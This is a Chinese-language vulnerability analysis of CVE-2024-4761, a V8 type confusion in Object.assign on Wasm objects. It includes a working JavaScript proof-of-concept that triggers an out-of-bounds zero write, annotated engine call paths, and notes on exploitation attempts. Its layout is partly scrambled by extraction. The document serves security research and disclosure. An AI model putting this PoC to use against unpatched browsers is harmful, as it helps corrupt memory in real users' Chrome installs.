作者:@buptsb、@mistymntncop
2024-05-22 06:53:59
第 1 部分:https://x.com/buptsb/status/1790305894401753441
完整 PoC:https ://x.com/buptsb/status/1792197573694107877
这篇文章是该漏洞的首次公开披露。
信息
[N/A][339458194] 高CVE-2024-4761:V8 中写入越界。匿名者于 2024 年 5 月 9 日报告
https://chromereleases.googleblog.com/2024/05/stable-channel-update-for-desktop_13.html
Google 已意识到存在CVE -2024-4761漏洞。
https://chromium-review.googlesource.com/c/v8/v8/+/5527397
概念证明
https://gist.github.com/mistymntncop/2cb449eb6aa30d35d1afd78a8b06bac2
// Build d8 using:
// a) Run once
// git checkout 6f98fbe86a0d11e6c902e2ee50f609db046daf71
// gclient sync
// gn gen ./out/x64.debug
// gn gen ./out/x64.release
//
// b)
// Debug Build:
// ninja -C ./out/x64.debug d8
//
// Release Build:
// ninja -C ./out/x64.release d8
//
function
gc_minor
(
)
{
//scavenge
for
(
let
i =
0
; i <
1000
; i++) {
new
ArrayBuffer
(
0x10000
);
}
}
function
gc_major
(
)
{
//mark-sweep
new
ArrayBuffer
(
0x7FE00000
);
}
d8.file.execute(
"wasm-module-builder.js"
);
let
builder =
new
WasmModuleBuilder();
let
array_type = builder.addArray(kWasmI32,
true
);
builder.addFunction(
'create_array'
, makeSig([kWasmI32], [wasmRefType(array_type)]))
.addBody([
kExprLocalGet,
0
,
kGCPrefix, kExprArrayNewDefault, array_type,
])
.exportFunc();
let
wasm_instance = builder.instantiate({});
let
wasm = wasm_instance.exports;
const
kDescriptorIndexBitCount =
10
;
const
kMaxNumberOfDescriptors = (
1
<< kDescriptorIndexBitCount) -
4
;
//1020
//TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler)
// args.ForEach(
// [=](TNode<Object> next_source) {
// CallBuiltin(Builtin::kSetDataProperties, context, to, next_source);
// },
// IntPtrConstant(1));
//TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler)
// TailCallRuntime(Runtime::kSetDataProperties, context, target, source);
//RUNTIME_FUNCTION(Runtime_SetDataProperties)
// JSReceiver::SetOrCopyDataProperties(...)
function
install_primitives
(
)
{
let
src = {};
for
(
let
i =
0
; i < (kMaxNumberOfDescriptors+
1
); i++) {
src[
`p
${i}
`
] =
1
;
}
//stops us from crashing in SetOrCopyDataProperties
src.__defineGetter__(
"p0"
,
function
(
)
{
throw
new
Error
(
"bailout"
);
});
//need to create the map beforehand to avoid descriptor arrays being allocated
//innapropriately
let
dummy = {};
dummy.i1 =
0
;
dummy.i2 =
0
;
dummy.i3 =
0
;
dummy.i4 =
0
;
for
(
let
i =
1
; i <=
16
; i++) {
dummy[
`p
${i}
`
] =
0
;
}
var
o = {};
//inline properties
o.i1 =
0
;
o.i2 =
0
;
o.i3 =
0
;
o.i4 =
0
;
//external properties
o.p1 =
0
;
//fake SeqTwoByteString length field
for
(
let
i =
2
; i <=
15
; i++) {
o[
`p
${i}
`
] =
0
;
}
let
wasm_array = wasm.create_array(
0
);
o.p16 =
0
;
//reallocates new property array twice as large
var
arr1 = [
1.1
];
//, 1.1, 1.1, 1.1];
var
arr2 = [{}];
%DebugPrint(wasm_array);
%DebugPrint(o);
try
{
//trigger 1 element OOB zero write
Object
.assign(wasm_array, src);
}
catch
(err) {}
gc_major();
%DebugPrint(wasm_array);
o.p9 =
1024
;
o.p11 =
1024
;
//%DebugPrint(o); //will crash
%DebugPrint(arr1);
}
function
pwn
(
)
{
install_primitives();
}
pwn();
分析
第 1 部分:类型混淆
Object.assign()
调用WasmObject时,在调用 Handle::cast(target) 之前JSReceiver::SetOrCopyDataProperties()
缺少类型检查,这会导致 WasmObject 和 JSObject 的类型混淆。
IsJSObject(*target)
由于 WasmObject 只是 a JSReceiver
,而不是 a ,因此我们在调用目标 WasmObjectJSObject
期间可能会出现不一致。JSObject::NormalizeProperties
调用堆栈:
JSReceiver::SetOrCopyDataProperties
JSObject::NormalizeProperties(target, CLEAR_INOBJECT_PROPERTIES)
Runtime::SetObjectProperty(target, key, value)
JSObject::NormalizeProperties
new_map = Map::Normalize(map)
JSObject::MigrateToMap(target, new_map, expected_additional_properties)
Map::Normalize
Map::CopyNormalized()
new_instance_size = map->instance_size()
if
(mode == CLEAR_INOBJECT_PROPERTIES) {
new_instance_size -= map->GetInObjectProperties() * kTaggedSize;
}
result = RawCopy(map, new_instance_size,
0
)
Factory::NewMap(), Factory::NewMapImpl()
Factory::InitializeMap()
if
(InstanceTypeChecker::IsJSObject(type)) {
...
}
else
{
map->set_inobject_properties_start_or_constructor_function_index(
0
) <------- (
1
)
}
JSObject::MigrateToMap
MigrateFastToSlow()
<create dictionary...>
object->SetProperties(*dictionary)
// clear up in-object properties
inobject_properties = new_map->GetInObjectProperties()
for
(int i =
0
; i < inobject_properties; i++) {
object->FastPropertyAtPut(FieldIndex::ForPropertyIndex(*new_map, i), Smi::zero()); <------- (
2
)
}
FieldIndex::ForPropertyIndex
bool is_inobject = property_index < map->GetInObjectProperties()
if
(is_inobject) offset = map->GetInObjectPropertyOffset(property_index) <------- (
3
)
return
FieldIndex(...)
在 (1) new_map 的“对象内属性”起始偏移量设置为零,对于非 jsobject,因为我们
在 (3) 中有一个 WasmObject,则 FieldIndex 的偏移量将从 0 开始,
在 (2) 中覆盖整个 WasmObject [ map addr, map addr + N]带有零值,N 由我们控制
Part2:控制oob写入长度
WasmStruct::EncodeInstanceSizeInMap
并将WasmArray::EncodeElementSizeInMap
使用映射中的字段供 GC 使用。对于 WasmStruct,它在其映射中
对其 GCsize 进行编码。byte1
byte2
现在参考地图布局图:
[byte0]:实例大小
byte1:inobject_properties_start_or_constructor_function_index()
byte2:used_or_unused_instance_size_in_words()
对于 WasmStruct:
Map
::instance_size()
return
0
Map
::GetInObjectProperties()
return
instance_size_in_words() - GetInObjectPropertiesStartInWords();
Map
:GetInObjectPropertiesStartInWords()
return
inobject_properties_start_or_constructor_function_index()
Map
::GetInObjectPropertyOffset(int index)
return
(GetInObjectPropertiesStartInWords() + index) * kTaggedSize;
然后我们可以通过设置 WasmStruct 的大小来控制在内存中写入多少个零。
失败的尝试
现在我们有一种 OOB 写入任何零的弱原语,但是如何利用这个原语进行任何 OOB 读/写呢?
尝试 1:尝试在 JSArray 上调用 left trim
Tagged<FixedArrayBase> Heap::LeftTrimFixedArray(Tagged<FixedArrayBase>
object
,
int elements_to_trim) {
...
const
int element_size = IsFixedArray(
object
) ? kTaggedSize : kDoubleSize;
const
int bytes_to_trim = elements_to_trim * element_size; <------ IsFixedArray(
object
)
return
false
, bytes_to_trim =
8
const
int len =
object
->length(); <--------- len
is
0
DCHECK(elements_to_trim <= len);
Address old_start =
object
.address();
Address new_start = old_start + bytes_to_trim;
CreateFillerObjectAtRaw(); <--- create
8
bytes filler at old_start
...
RELAXED_WRITE_FIELD(
object
, bytes_to_trim,
Tagged<Object>(MapWord::FromMap(map).ptr()));
RELAXED_WRITE_FIELD(
object
, bytes_to_trim + kTaggedSize,
Smi::FromInt(len - elements_to_trim)); <---------- overflow???
}
然后从 fixedarray 创建 jsarray?
但是 fixedarray 的长度现在溢出了,而且是负值……
与CVE-2024-4947相同的 GC 技术
与CVE-2024-4947中的技术相同,我们可以使用 addr 中的伪造 Map 对象来破坏对象的 PropertyArray 大小cage base+0
。
CVE
-2024-4761: v8 missing check of WasmObject type cast causes type confusion and OOB access
https
://buptsb.github.io/blog/post/CVE-2024-4761-
%20
v8
%20
missing
%20
check
%20
of
%20
WasmObject
%20
type
%20
cast
%20
causes
%20
type
%20
confusion
%20
and
%20
OOB
%20
access.html
原文始发于微信公众号(Ots安全):CVE-2024-4761:v8 缺少 WasmObject 类型转换检查导致类型混淆和 OOB 访问
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论